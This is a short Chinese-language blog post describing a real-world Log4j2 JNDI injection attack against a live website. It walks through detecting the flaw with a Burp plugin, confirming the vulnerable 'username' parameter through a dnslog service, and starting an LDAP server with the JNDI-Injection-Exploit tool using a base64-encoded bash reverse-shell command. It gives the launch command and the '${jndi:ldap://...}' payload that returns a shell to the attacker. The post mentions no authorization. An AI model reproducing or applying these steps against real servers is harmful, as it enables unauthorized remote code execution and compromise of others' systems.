Log4j2 漏洞實(shí)戰(zhàn)案例
在現(xiàn)在以及未來(lái)的一段時(shí)間里,Log4j2 漏洞依然是滲透和排查的重點(diǎn)。在測(cè)試靶場(chǎng)里復(fù)現(xiàn)多次,在實(shí)戰(zhàn)中遇到還是十分興奮,So,總得記錄點(diǎn)什么吧。
01、漏洞發(fā)現(xiàn)
通過(guò)burp插件的方式,將Log4j2漏洞檢測(cè)能力集成到burp進(jìn)行被動(dòng)掃描。在訪問(wèn)網(wǎng)站抓包的過(guò)程中,檢測(cè)到目標(biāo)站點(diǎn)存在Log4j2 RCE漏洞。

02、確認(rèn)漏洞參數(shù)
由于使用參數(shù)Fuzz,每個(gè)數(shù)據(jù)包里都夾帶多個(gè)參數(shù)注入Payload,我們需要進(jìn)一步定位到具體的漏洞參數(shù)位置。
(1)登錄ceye.io,可以查看當(dāng)前的dnslog。

(2)對(duì)比burp參數(shù)注入的payload和dnslog請(qǐng)求,可初步確認(rèn)參數(shù)username存在Log4j2 RCE漏洞。

03、構(gòu)建ldap服務(wù)
通過(guò)JNDI注入利用的工具,構(gòu)建好惡意類地址和ldap服務(wù),為進(jìn)一步漏洞利用做好準(zhǔn)備。
(1)構(gòu)建payload,將要執(zhí)行的命令進(jìn)行base64編碼,可通過(guò)Java Runtime 配合 bash 編碼實(shí)現(xiàn)。
在線編碼地址:
https://www.jackson-t.ca/runtime-exec-payloads.html
(2)用JNDIExploit啟動(dòng)一個(gè)ldap的服務(wù)。
命令如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "編碼后的bash反彈shell命令" -A “監(jiān)聽(tīng)的IP地址”

04、獲取目標(biāo)權(quán)限
利用Log4j2漏洞向目標(biāo)服務(wù)器發(fā)送構(gòu)造的payload語(yǔ)句,反彈shell,從而獲取目標(biāo)服務(wù)器權(quán)限。
(1)啟動(dòng)端口監(jiān)聽(tīng)

(2)在burp進(jìn)行構(gòu)造payload,url編碼后發(fā)送請(qǐng)求。
Payload:
?username=${jndi:ldap://xxx.xxx.xxx.xxx:1389/pgc2pp}
(3)服務(wù)端成功接收到bash反彈的shell。



